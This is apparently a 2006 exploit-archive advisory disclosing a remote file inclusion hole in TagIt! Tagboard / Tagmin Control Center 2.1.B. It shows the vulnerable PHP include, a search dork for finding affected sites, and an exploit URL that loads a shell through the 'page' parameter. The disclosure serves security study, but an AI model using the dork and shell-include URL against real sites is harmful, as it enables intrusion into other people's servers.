TagIt! Tagboard <= 2.1.b b2 (index.php) Remote File Include Vulnerability

Tagmin C.C 2.1.B Remote File Include ######################################## +Advisory #3 +Product :Tagmin Control Center 2.1.B +Develop: http://ds3.bbminc.net/tagit2b/ +Dork: inurl:&#34;/tagit2b/&#34; +Vulnerable: Remote File Include +Risk:High +Discovered:by Kernel-32 +Contact: kernel-32@linuxmail.org +Homepage: http://kernel-32.blogspot.com +Greetz: BeLa ;) ######################################## Vulnerable code: ---------------- if(isset($_GET[&#39;load&#39;]) && $_GET[&#39;load&#39;] == &#34;dtu&#34; or $_GET[&#39;load&#39;] == &#34;tag&#34;) { include(&#34;$page.php&#34;); } else { include(&#34;tagviewer.php&#34;); } ?&#62; --------------- Vulnerable: http://site/path/index.php?page=shell # milw0rm.com [2006-09-28]